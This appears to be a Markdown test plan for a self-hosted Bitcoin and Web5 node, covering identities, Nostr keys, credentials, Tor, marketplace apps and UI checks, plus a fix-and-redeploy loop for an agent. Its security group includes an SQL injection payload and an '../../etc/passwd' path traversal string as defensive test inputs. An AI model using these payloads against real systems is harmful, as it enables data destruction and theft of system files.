## Group 7: Identity System (DIDs + Nostr Dual Identity)
|
||||
|
||||
**Priority**: HIGH — Web5 foundation. Every identity MUST have both a DID and a Nostr keypair.
|
||||
|
||||
The identity system creates ed25519 DIDs. Each identity must also get a Nostr keypair (secp256k1) so users can operate in both DID-based (Web5/VC) and Nostr-based (social/relay) ecosystems from every identity.
|
||||
|
||||
### 7A: Core Identity CRUD
|
||||
|
||||
- [ ] **DID-01** — Get node DID: call `node.did` RPC. Should return `{"did":"did:key:z...","pubkey":"..."}`
|
||||
- [ ] **DID-02** — Verify DID format: should start with `did:key:z` (ed25519 multicodec)
|
||||
- [ ] **DID-03** — List identities: call `identity.list`. Should return `{"identities":[...]}`
|
||||
- [ ] **DID-04** — Create identity "Personal": call `identity.create` with `{"name":"Personal","purpose":"personal"}`. Should return identity with `id`, `did`, `pubkey`
|
||||
- [ ] **DID-05** — Create identity "Business": call `identity.create` with `{"name":"Business","purpose":"business"}`
|
||||
- [ ] **DID-06** — Create identity "Anonymous": call `identity.create` with `{"name":"Anonymous","purpose":"anonymous"}`
|
||||
- [ ] **DID-07** — Get identity by ID: call `identity.get` with the Personal identity ID. Should return full identity object
|
||||
- [ ] **DID-08** — Verify all 3 identities listed: call `identity.list`, confirm all 3 appear with correct names and purposes
|
||||
|
||||
### 7B: Nostr Keypair for Every Identity
|
||||
|
||||
Every DID must also have a Nostr identity so users can sign Nostr events, publish to relays, and interact with the Nostr ecosystem from any of their identities.
|
||||
|
||||
- [ ] **DID-09** — Create Nostr key for Personal: call `identity.create-nostr-key` with `{"id":"<personal_id>"}`. Should return `{"nostr_pubkey":"<hex>"}`
|
||||
- [ ] **DID-10** — Verify Personal Nostr pubkey format: should be 64-char hex string (secp256k1 x-only pubkey)
|
||||
- [ ] **DID-11** — Create Nostr key for Business: call `identity.create-nostr-key` with `{"id":"<business_id>"}`. Should return different Nostr pubkey
|
||||
- [ ] **DID-12** — Verify Business Nostr pubkey is unique: must differ from Personal's Nostr pubkey
|
||||
- [ ] **DID-13** — Create Nostr key for Anonymous: call `identity.create-nostr-key` with `{"id":"<anonymous_id>"}`. Should return yet another unique Nostr pubkey
|
||||
- [ ] **DID-14** — Verify all 3 Nostr pubkeys are unique: no two identities share the same Nostr pubkey
|
||||
- [ ] **DID-15** — Verify idempotency: call `identity.create-nostr-key` again for Personal. Should return the same pubkey (not create a second one) or error gracefully
|
||||
- [ ] **DID-16** — List identities and verify Nostr keys present: call `identity.list`, each identity should now include `nostr_pubkey` field
|
||||
|
||||
### 7C: DID Signing & Verification
|
||||
|
||||
- [ ] **DID-17** — Sign message with Personal DID: call `identity.sign` with `{"id":"<personal_id>","message":"hello world"}`. Should return `{"signature":"..."}`
|
||||
- [ ] **DID-18** — Verify Personal DID signature: call `identity.verify` with the DID, message, and signature. Should return `{"valid":true}`
|
||||
- [ ] **DID-19** — Verify bad signature fails: call `identity.verify` with wrong message. Should return `{"valid":false}`
|
||||
- [ ] **DID-20** — Sign with Business DID: sign same message with Business identity, verify signature is different from Personal's
|
||||
- [ ] **DID-21** — Cross-identity verification: verify Business signature fails against Personal's DID (different keys)
|
||||
|
||||
### 7D: Nostr Signing & Verification
|
||||
|
||||
- [ ] **DID-22** — Nostr sign with Personal: call `identity.nostr-sign` with `{"id":"<personal_id>","event_hash":"0000000000000000000000000000000000000000000000000000000000000001"}`. Should return Schnorr signature
|
||||
- [ ] **DID-23** — Verify Nostr signature format: should be 128-char hex string (64-byte Schnorr signature)
|
||||
- [ ] **DID-24** — Nostr sign with Business: call `identity.nostr-sign` with Business identity. Should return different signature (different key)
|
||||
- [ ] **DID-25** — Nostr sign with Anonymous: call `identity.nostr-sign` with Anonymous identity. Should succeed
|
||||
- [ ] **DID-26** — Verify all 3 Nostr signatures are different: same event hash, 3 different keys = 3 different signatures
|
||||
|
||||
### 7E: Identity Management
|
||||
|
||||
- [ ] **DID-27** — Set default identity: call `identity.set-default` with Business identity ID. Should succeed
|
||||
- [ ] **DID-28** — Verify default changed: call `identity.list`, Business should have `is_default: true`
|
||||
- [ ] **DID-29** — Switch default to Anonymous: set-default with Anonymous ID, verify it's now default
|
||||
- [ ] **DID-30** — Delete Anonymous identity: call `identity.delete` with Anonymous ID. Should succeed
|
||||
- [ ] **DID-31** — Verify deletion: call `identity.get` with deleted ID. Should return error
|
||||
- [ ] **DID-32** — Verify default falls back: after deleting the default identity, another identity should become default
|
||||
- [ ] **DID-33** — Cleanup: delete Business and Personal test identities (only if they're test-created, not the node's original identity)
|
||||
|
||||
### 7F: Frontend Integration
|
||||
|
||||
- [ ] **DID-34** — Verify Web5 view shows DID: check `Web5.vue` displays the node's DID with copy button
|
||||
- [ ] **DID-35** — Verify Web5 view shows identity list with Nostr pubkeys alongside DIDs
|
||||
- [ ] **DID-36** — Verify identity picker component exists and shows both DID and Nostr pubkey for each identity
|
||||
- [ ] **DID-37** — Verify onboarding identity step creates both DID and Nostr key for the first identity
|
||||
|
||||
**Fix strategy**: If identity endpoints fail, check `identity_manager.rs` and `identity.rs` RPC module. If Nostr key creation fails, check secp256k1 key generation in `identity_manager.rs`. If `identity.list` doesn't include `nostr_pubkey`, the serialization needs updating. If onboarding doesn't create Nostr key, add `identity.create-nostr-key` call after identity creation in the onboarding flow.
|
||||
|
||||
---
|
||||
|
||||
## Group 8: Verifiable Credentials
|
||||
|
||||
**Priority**: MEDIUM — depends on Identity system
|
||||
|
||||
- [ ] **VC-01** — Create a test identity (issuer): call `identity.create` with `{"name":"Issuer"}`, then `identity.create-nostr-key` for it
|
||||
- [ ] **VC-02** — Issue credential: call `identity.issue-credential` with `{"issuer_id":"<issuer_id>","subject_did":"did:key:z...","type":"TestCredential","claims":{"name":"Alice"}}`
|
||||
- [ ] **VC-03** — Verify credential: call `identity.verify-credential` with the credential ID. Should return `{"valid":true}`
|
||||
- [ ] **VC-04** — List credentials: call `identity.list-credentials`. Should include the credential from VC-02
|
||||
- [ ] **VC-05** — Filter credentials by DID: call `identity.list-credentials` with `{"did":"did:key:z..."}`
|
||||
- [ ] **VC-06** — Revoke credential: call `identity.revoke-credential` with the credential ID
|
||||
- [ ] **VC-07** — Verify revoked credential: call `identity.verify-credential` again. Should show `status: "revoked"` or `valid: false`
|
||||
- [ ] **VC-08** — Cleanup: delete the test issuer identity
|
||||
|
||||
**Fix strategy**: If credential issuance fails, check `credentials.rs` module. Verify JSON serialization of claims.
|
||||
|
||||
---
|
||||
|
||||
## Group 9: Bitcoin Domain Names (NIP-05)
|
||||
|
||||
**Priority**: MEDIUM — depends on Identity + Nostr
|
||||
|
||||
- [ ] **NAME-01** — List names: call `identity.list-names`. Should return `{"names":[...]}`
|
||||
- [ ] **NAME-02** — Register a test name: call `identity.register-name` with `{"name":"testuser","domain":"archipelago.local","identity_id":"<id>","did":"did:key:z...","nostr_pubkey":"<hex>"}` — include the Nostr pubkey so the name resolves in both DID and Nostr contexts
|
||||
- [ ] **NAME-03** — Verify name registered: call `identity.list-names` again, confirm the test name appears with both DID and nostr_pubkey
|
||||
- [ ] **NAME-04** — Resolve name: call `identity.resolve-name` with `{"identifier":"testuser@archipelago.local"}`
|
||||
- [ ] **NAME-05** — Link name to different identity: create second identity (with Nostr key), call `identity.link-name` with new identity ID
|
||||
- [ ] **NAME-06** — Verify name now has new identity's Nostr pubkey after re-link
|
||||
- [ ] **NAME-07** — Remove test name: call `identity.remove-name` with the name ID
|
||||
- [ ] **NAME-08** — Verify removal: list names again, confirm test name is gone
|
||||
- [ ] **NAME-09** — Cleanup: delete any test identities created
|
||||
|
||||
**Fix strategy**: If name registration fails, check `names.rs` module. If resolve fails, check NIP-05 HTTP resolution logic. Ensure `nostr_pubkey` is carried through the name registration.
|
||||
|
||||
---
|
||||
|
||||
## Group 10: Ecash Wallet (Cashu/Fedimint)
|
||||
|
||||
**Priority**: MEDIUM — depends on Fedimint running
|
||||
|
||||
- [ ] **ECASH-01** — Check ecash balance: call `wallet.ecash-balance`. Should return `{"balance_sats":0,"token_count":0}` or existing balance
|
||||
- [ ] **ECASH-02** — Check ecash history: call `wallet.ecash-history`. Should return `{"transactions":[...]}`
|
||||
- [ ] **ECASH-03** — Verify Fedimint container running: check `fedimint` in container list
|
||||
- [ ] **ECASH-04** — If Fedimint running, test mint: call `wallet.ecash-mint` with `{"amount_sats":100}` (may fail if no Lightning funding — log result)
|
||||
- [ ] **ECASH-05** — Test mint validation (too large): call `wallet.ecash-mint` with `{"amount_sats":2000000}`. Should error (max 1,000,000)
|
||||
- [ ] **ECASH-06** — Test mint validation (zero): call `wallet.ecash-mint` with `{"amount_sats":0}`. Should error
|
||||
- [ ] **ECASH-07** — Test send ecash: call `wallet.ecash-send` with `{"amount_sats":50}` (may fail if no balance — log result)
|
||||
- [ ] **ECASH-08** — Test receive ecash validation (bad token): call `wallet.ecash-receive` with `{"token":"invalid"}`. Should error
|
||||
- [ ] **ECASH-09** — Verify Web5 view shows ecash balance section
|
||||
|
||||
**Fix strategy**: If ecash endpoints fail, check `wallet/ecash.rs`. If Fedimint connection fails, check container is on `archy-net` and port 8174 is reachable internally.
|
||||
|
||||
---
|
||||
|
||||
## Group 11: Networking Profits
|
||||
|
||||
**Priority**: LOW — display feature
|
||||
|
||||
- [ ] **PROF-01** — Get networking profits: call `wallet.networking-profits`. Should return `{"total_sats":...,"content_sales_sats":...,"routing_fees_sats":...,"recent":[...]}`
|
||||
- [ ] **PROF-02** — Verify profit structure: `total_sats` should equal `content_sales_sats + routing_fees_sats`
|
||||
- [ ] **PROF-03** — Verify recent transactions: each item should have `source`, `amount_sats`, `timestamp`, `description`
|
||||
- [ ] **PROF-04** — Verify Web5 view displays profits card
|
||||
|
||||
**Fix strategy**: If profits endpoint fails, check `wallet/profits.rs`. It aggregates from ecash history and LND forwarding events.
|
||||
|
||||
---
|
||||
|
||||
## Group 12: Content Sharing & Monetization
|
||||
|
||||
**Priority**: MEDIUM — core Web5 feature
|
||||
|
||||
- [ ] **CNT-01** — List my content: call `content.list-mine`. Should return `{"items":[...]}`
|
||||
- [ ] **CNT-02** — Add content: call `content.add` with `{"filename":"test-file.txt","mime_type":"text/plain","description":"Test content"}`
|
||||
- [ ] **CNT-03** — Verify content listed: call `content.list-mine` again, confirm test file appears
|
||||
- [ ] **CNT-04** — Set pricing to free: call `content.set-pricing` with `{"id":"<id>","access":"free"}`
|
||||
- [ ] **CNT-05** — Set pricing to paid: call `content.set-pricing` with `{"id":"<id>","access":"paid","price_sats":100}`
|
||||
- [ ] **CNT-06** — Set pricing to peers only: call `content.set-pricing` with `{"id":"<id>","access":"peers_only"}`
|
||||
- [ ] **CNT-07** — Set availability to all peers: call `content.set-availability` with `{"id":"<id>","availability":"all_peers"}`
|
||||
- [ ] **CNT-08** — Set availability to nobody: call `content.set-availability` with `{"id":"<id>","availability":"nobody"}`
|
||||
- [ ] **CNT-09** — Verify content HTTP endpoint: `curl http://192.168.1.228/content` returns JSON catalog
|
||||
- [ ] **CNT-10** — Remove content: call `content.remove` with the content ID
|
||||
- [ ] **CNT-11** — Verify removal: list content again, confirm item gone
|
||||
|
||||
**Fix strategy**: If content endpoints fail, check `content_server.rs` and `content.rs` RPC module. Verify content data directory exists on server.
|
||||
|
||||
---
|
||||
|
||||
## Group 13: Nostr Relay Management
|
||||
|
||||
**Priority**: MEDIUM — used for discovery and names
|
||||
|
||||
- [ ] **NOSTR-01** — List relays: call `nostr.list-relays`. Should return `{"relays":[...]}`
|
||||
- [ ] **NOSTR-02** — Verify default relays seeded: should have relay.damus.io, nos.lol, etc.
|
||||
- [ ] **NOSTR-03** — Add relay: call `nostr.add-relay` with `{"url":"wss://relay.test.example"}`
|
||||
- [ ] **NOSTR-04** — Verify relay added: list relays again, confirm new relay present
|
||||
- [ ] **NOSTR-05** — Toggle relay off: call `nostr.toggle-relay` with `{"url":"wss://relay.test.example","enabled":false}`
|
||||
- [ ] **NOSTR-06** — Get relay stats: call `nostr.get-stats`. Should return `{"total_relays":...,"connected_count":...,"enabled_count":...}`
|
||||
- [ ] **NOSTR-07** — Remove test relay: call `nostr.remove-relay` with `{"url":"wss://relay.test.example"}`
|
||||
- [ ] **NOSTR-08** — Verify removal: list relays, confirm test relay gone
|
||||
- [ ] **NOSTR-09** — Get node Nostr pubkey: call `node.nostr-pubkey`. Should return hex pubkey
|
||||
- [ ] **NOSTR-10** — Verify local nostr-rs-relay container (if installed): check container list for `nostr-rs-relay`
|
||||
|
||||
**Fix strategy**: If relay endpoints fail, check `nostr_relays.rs` and `nostr.rs` RPC module. Default relays are seeded in `NostrRelayManager::new()`.
|
||||
|
||||
---
|
||||
|
||||
## Group 14: Network Visibility & Peer Discovery
|
||||
|
||||
**Priority**: MEDIUM — social networking feature
|
||||
|
||||
- [ ] **NET-01** — Get visibility: call `network.get-visibility`. Should return `{"visibility":"hidden"|"discoverable"|"public","tor_address":"..."}`
|
||||
- [ ] **NET-02** — Set visibility to discoverable: call `network.set-visibility` with `{"visibility":"discoverable"}`
|
||||
- [ ] **NET-03** — Verify visibility changed: get visibility again, confirm "discoverable"
|
||||
- [ ] **NET-04** — Set visibility back to hidden: call `network.set-visibility` with `{"visibility":"hidden"}`
|
||||
- [ ] **NET-05** — List connection requests: call `network.list-requests`. Should return `{"requests":[...]}`
|
||||
- [ ] **NET-06** — Run network diagnostics: call `network.diagnostics`. Should return WAN IP, NAT type, UPnP status, Tor status
|
||||
- [ ] **NET-07** — Verify Tor address available: call `node.tor-address`. Should return `.onion` address
|
||||
- [ ] **NET-08** — Discover nodes via Nostr: call `node-nostr-discover`. Should return `{"nodes":[...]}`
|
||||
|
||||
**Fix strategy**: If visibility fails, check `network.rs` RPC module. If Tor address missing, check Tor service on server. If diagnostics fail, check `network/router.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Group 15: Tor Hidden Services
|
||||
|
||||
**Priority**: MEDIUM — privacy feature
|
||||
|
||||
- [ ] **TOR-01** — List Tor services: call `tor.list-services`. Should return services for archipelago, lnd, etc.
|
||||
- [ ] **TOR-02** — Verify archipelago service exists: should have name "archipelago" on port 80
|
||||
- [ ] **TOR-03** — Get onion address: call `tor.get-onion-address` with `{"name":"archipelago"}`
|
||||
- [ ] **TOR-04** — Verify onion address format: should end in `.onion`
|
||||
- [ ] **TOR-05** — Create test service: call `tor.create-service` with `{"name":"test-service","local_port":9999}`
|
||||
- [ ] **TOR-06** — Verify test service listed: list services, confirm "test-service" present
|
||||
- [ ] **TOR-07** — Delete test service: call `tor.delete-service` with `{"name":"test-service"}`
|
||||
- [ ] **TOR-08** — Verify deletion: list services, confirm test service gone
|
||||
|
||||
**Fix strategy**: If Tor services fail, check `tor.rs` RPC module. Verify Tor is running on server with `systemctl status tor`.
|
||||
|
||||
---
|
||||
|
||||
## Group 16: Router & UPnP
|
||||
|
||||
**Priority**: LOW — optional networking
|
||||
|
||||
- [ ] **RTR-01** — Discover router: call `router.discover`. Should return `{"discovered":...,"upnp_available":...}`
|
||||
- [ ] **RTR-02** — List port forwards: call `router.list-forwards`. Should return `{"forwards":[...]}`
|
||||
- [ ] **RTR-03** — Detect router type: call `router.detect`. Should return gateway and router type
|
||||
- [ ] **RTR-04** — Run network diagnostics: call `network.diagnostics`. Verify WAN IP detection works
|
||||
|
||||
**Fix strategy**: If UPnP fails, this is expected on some networks. Log and skip. Check `network/router.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Group 17: DWN (Decentralized Web Node)
|
||||
|
||||
**Priority**: MEDIUM — Web5 data sync
|
||||
|
||||
- [ ] **DWN-01** — Check DWN status: call `dwn.status`. Should return running status, sync info
|
||||
- [ ] **DWN-02** — If DWN container not running, check if installed: look for `dwn` in container list
|
||||
- [ ] **DWN-03** — Trigger sync: call `dwn.sync`. Should return sync status
|
||||
- [ ] **DWN-04** — Verify DWN port 3100: SSH check `curl -s http://localhost:3100/` from server
|
||||
|
||||
**Fix strategy**: If DWN fails, check container is running and port 3100 is exposed. Check `network/dwn_sync.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Group 18: Peer Messaging
|
||||
|
||||
**Priority**: LOW — social feature (needs 2 nodes)
|
||||
|
||||
- [ ] **MSG-01** — List peers: call `node-list-peers`. Should return `{"peers":[...]}`
|
||||
- [ ] **MSG-02** — List received messages: call `node-messages-received`. Should return `{"messages":[...]}`
|
||||
- [ ] **MSG-03** — Check peer (if any peers exist): call `node-check-peer` with a peer's onion address
|
||||
- [ ] **MSG-04** — Verify Web5 view has "Send Message" button and modal
|
||||
|
||||
**Fix strategy**: If peer endpoints fail, check `peers.rs` in the RPC module. Full P2P messaging requires 2 nodes.
|
||||
|
||||
---
|
||||
|
||||
## Group 19: BTCPay Server
|
||||
|
||||
**Priority**: MEDIUM — payment processing
|
||||
|
||||
- [ ] **BTCP-01** — Verify `btcpay-server` container exists
|
||||
- [ ] **BTCP-02** — Verify `archy-nbxplorer` container exists (BTCPay dependency)
|
||||
- [ ] **BTCP-03** — Verify `archy-btcpay-db` PostgreSQL container exists
|
||||
- [ ] **BTCP-04** — All three containers running
|
||||
- [ ] **BTCP-05** — BTCPay UI loads: `curl -s http://192.168.1.228:23000/` returns HTML (or via proxy)
|
||||
- [ ] **BTCP-06** — BTCPay opens in new tab (not iframe): verify `mustOpenInNewTab()` includes port 23000
|
||||
|
||||
**Fix strategy**: BTCPay needs NBXplorer + PostgreSQL. Check all containers are on `archy-net`. Verify DB credentials in env vars.
|
||||
|
||||
---
|
||||
|
||||
## Group 20: Fedimint
|
||||
|
||||
**Priority**: MEDIUM — federated Bitcoin custody
|
||||
|
||||
- [ ] **FED-01** — Verify `fedimint` container exists
|
||||
- [ ] **FED-02** — Verify `fedimint-gateway` container exists
|
||||
- [ ] **FED-03** — Both containers running
|
||||
- [ ] **FED-04** — Fedimint Guardian UI loads: check port 8175
|
||||
- [ ] **FED-05** — Fedimint Gateway API responds: check port 8176
|
||||
- [ ] **FED-06** — Verify Fedimint connects to Bitcoin: check env vars point to bitcoin RPC
|
||||
|
||||
**Fix strategy**: If Fedimint containers missing, check `first-boot-containers.sh` and `deploy-to-target.sh`. Verify `archy-net` membership.
|
||||
|
||||
---
|
||||
|
||||
## Group 21: All Marketplace Apps — Install & Launch
|
||||
|
||||
**Priority**: MEDIUM — verify every app can be installed and started
|
||||
|
||||
For each app, verify: (1) appears in marketplace, (2) container exists or can be installed, (3) container starts, (4) UI/port responds:
|
||||
|
||||
- [ ] **APP-01** — Bitcoin Knots (verified in Group 1)
|
||||
- [ ] **APP-02** — LND (verified in Group 2)
|
||||
- [ ] **APP-03** — Electrs (verified in Group 5)
|
||||
- [ ] **APP-04** — Mempool (verified in Group 6)
|
||||
- [ ] **APP-05** — BTCPay Server (verified in Group 19)
|
||||
- [ ] **APP-06** — Fedimint (verified in Group 20)
|
||||
- [ ] **APP-07** — Vaultwarden — container exists, running, port 8082 responds, proxy at `/app/vaultwarden/` works
|
||||
- [ ] **APP-08** — File Browser — container exists, running, port 8083 responds
|
||||
- [ ] **APP-09** — Nextcloud — container exists, running, port 8085 responds, opens in new tab
|
||||
- [ ] **APP-10** — Jellyfin — container exists, running, port 8096 responds
|
||||
- [ ] **APP-11** — Immich — container exists, running, port 2283 responds (multi-container: server, postgres, redis)
|
||||
- [ ] **APP-12** — PhotoPrism — container exists, running, port 2342 responds
|
||||
- [ ] **APP-13** — Penpot — container exists, running, port 9001 responds (multi-container: frontend, backend, exporter, postgres, valkey)
|
||||
- [ ] **APP-14** — Grafana — container exists, running, port 3000 responds
|
||||
- [ ] **APP-15** — SearXNG — container exists, running, port 8888 responds
|
||||
- [ ] **APP-16** — Ollama — container exists, running, port 11434 responds
|
||||
- [ ] **APP-17** — OnlyOffice — container exists, running, port 9980 responds
|
||||
- [ ] **APP-18** — Nginx Proxy Manager — container exists, running, port 81 responds
|
||||
- [ ] **APP-19** — Portainer — container exists, running, port 9000 responds
|
||||
- [ ] **APP-20** — Uptime Kuma — container exists, running, port 3001 responds
|
||||
- [ ] **APP-21** — Home Assistant — container exists, running, port 8123 responds, opens in new tab
|
||||
- [ ] **APP-22** — Tailscale — container exists, running, port 8240 responds
|
||||
- [ ] **APP-23** — Endurain — container exists, running, port 8080 responds
|
||||
- [ ] **APP-24** — Nostr Relay (nostr-rs-relay) — container exists, running, port 18081 responds
|
||||
|
||||
**Fix strategy**: For any app that fails, check `get_app_config()` in `package.rs`, `get_app_metadata()` in `docker_packages.rs`, nginx proxy config, and container logs.
|
||||
|
||||
---
|
||||
|
||||
## Group 22: Settings & Security
|
||||
|
||||
**Priority**: HIGH — core security features
|
||||
|
||||
- [ ] **SET-01** — Verify authenticated session: call `system.info` or `server.echo`. Should succeed with valid session
|
||||
- [ ] **SET-02** — Test password change validation: call `auth.changePassword` with wrong current password. Should fail
|
||||
- [ ] **SET-03** — Verify TOTP status: call `auth.totp.status`. Should return `{"enabled":false}` (unless already enabled)
|
||||
- [ ] **SET-04** — Test TOTP setup flow: call `auth.totp.setup.begin` with `{"password":"password123"}`. Should return QR SVG and secret
|
||||
- [ ] **SET-05** — Verify TOTP setup returns backup codes: the setup.confirm step should return 10 backup codes (skip actual confirmation to avoid locking out)
|
||||
- [ ] **SET-06** — Test rate limiting: send 5+ rapid login failures. Should get rate-limited response
|
||||
- [ ] **SET-07** — Test auth bypass: call a protected endpoint without session cookie. Should return auth error
|
||||
- [ ] **SET-08** — Test input validation: send SQL injection payload `'; DROP TABLE--` as password. Should fail safely
|
||||
- [ ] **SET-09** — Test path traversal: send `../../etc/passwd` as app_id. Should fail with validation error
|
||||
- [ ] **SET-10** — Verify onboarding status: call `auth.isOnboardingComplete`. Should return boolean
|
||||
|
||||
**Fix strategy**: If auth endpoints fail, check `auth.rs` and `totp.rs`. If security validation fails, review input sanitization in handler.
|
||||
|
||||
---
|
||||
|
||||
## Group 23: System Updates
|
||||
|
||||
**Priority**: LOW — maintenance feature
|
||||
|
||||
- [ ] **UPD-01** — Check for updates: call `update.check`. Should return current version, update status
|
||||
- [ ] **UPD-02** — Get update status: call `update.status`. Should return version info without hitting remote
|
||||
- [ ] **UPD-03** — Dismiss update: call `update.dismiss`. Should return success
|
||||
- [ ] **UPD-04** — Verify version format: `current_version` should match semver pattern
|
||||
|
||||
**Fix strategy**: If update check fails, check `update.rs`. The remote manifest URL may not exist yet — handle gracefully.
|
||||
|
||||
---
|
||||
|
||||
## Group 24: WebSocket Real-Time Updates
|
||||
|
||||
**Priority**: HIGH — UI depends on this for live state
|
||||
|
||||
- [ ] **WS-01** — WebSocket connects: establish connection to `ws://192.168.1.228/ws/db` with session cookie
|
||||
- [ ] **WS-02** — Initial state received: first message should contain full state dump with revision
|
||||
- [ ] **WS-03** — Heartbeat works: connection stays alive for 60+ seconds
|
||||
- [ ] **WS-04** — State updates broadcast: start/stop an app and verify WebSocket receives state change
|
||||
|
||||
**Fix strategy**: If WebSocket fails, check `server.rs` WebSocket handler. Verify nginx is proxying WebSocket upgrade headers.
|
||||
|
||||
---
|
||||
|
||||
## Group 25: Frontend Views — Render & Function
|
||||
|
||||
**Priority**: HIGH — user-facing
|
||||
|
||||
- [ ] **UI-01** — Dashboard Home loads: `curl http://192.168.1.228/` returns full HTML with assets
|
||||
- [ ] **UI-02** — JavaScript bundles load: check `.js` assets return 200
|
||||
- [ ] **UI-03** — CSS bundles load: check `.css` assets return 200
|
||||
- [ ] **UI-04** — App icons load: check `/assets/img/app-icons/bitcoin-knots.png` returns 200
|
||||
- [ ] **UI-05** — Marketplace page functional: has app cards, install buttons
|
||||
- [ ] **UI-06** — My Apps page functional: shows installed apps with status
|
||||
- [ ] **UI-07** — Web5 page functional: shows DID, wallet, identity list with Nostr pubkeys, networking sections
|
||||
- [ ] **UI-08** — Settings page functional: shows account info, password change, 2FA
|
||||
- [ ] **UI-09** — Server/Network page functional: shows connectivity, services
|
||||
- [ ] **UI-10** — Cloud page functional: shows file sections (if File Browser installed)
|
||||
- [ ] **UI-11** — Lightning Channels page functional: accessible from LND app detail
|
||||
- [ ] **UI-12** — Onboarding pages render: intro, DID, identity steps load (identity step creates both DID + Nostr key)
|
||||
- [ ] **UI-13** — App launcher overlay works: opening an app shows iframe or new tab
|
||||
- [ ] **UI-14** — Mobile responsive: UI loads at 375px width without horizontal scroll
|
||||
|
||||
**Fix strategy**: If frontend fails, check Vite build output. Deploy with `./scripts/deploy-to-target.sh --live` to rebuild and push.
|
||||
|
||||
---
|
||||
|
||||
## Completion Criteria
|
||||
|
||||
All groups must have every test passing. The final state should be:
|
||||
|
||||
- [ ] **All 25 Groups Passing** — Every checkbox above ticked
|
||||
- [ ] **Zero Broken Features** — No RPC endpoint returns unexpected errors
|
||||
- [ ] **Zero Container Crashes** — All running containers healthy
|
||||
- [ ] **Frontend Renders** — All views load without JS errors
|
||||
- [ ] **Bitcoin Stack Connected** — Bitcoin Knots ↔ LND ↔ Electrs ↔ Mempool chain works
|
||||
- [ ] **Web5 Stack Working** — DID ↔ Nostr Keys ↔ Identities ↔ Credentials ↔ Names ↔ Wallet integrated
|
||||
- [ ] **Every Identity Has Dual Keys** — All DIDs also have Nostr keypairs for full ecosystem interop
|
||||
- [ ] **Networking Stack Working** — Tor ↔ Nostr ↔ Peers ↔ Content sharing functional
|
||||
|
||||
---
|
||||
|
||||
## Execution Instructions
|
||||
|
||||
For each group in order:
|
||||
|
||||
1. **Run all tests** in the group via RPC calls to `http://192.168.1.228/rpc/`
|
||||
2. **If a test fails**:
|
||||
a. Read the relevant source file to understand the expected behavior
|
||||
b. Identify the bug (wrong response format, missing handler, bad config, etc.)
|
||||
c. Fix the code
|
||||
d. Deploy: `./scripts/deploy-to-target.sh --live`
|
||||
e. Wait for deploy to complete and services to restart
|
||||
f. Re-run the failing test
|
||||
g. Loop until it passes
|
||||
3. **Mark the test as passed** by updating this file
|
||||
4. **Move to the next group** only when all tests in the current group pass
|
||||
5. **At the end**, run a final sweep of all tests to confirm nothing regressed
|
||||
|
||||
**Total tests**: ~195 individual checks across 25 groups
|
||||
Reference in New Issue
Block a user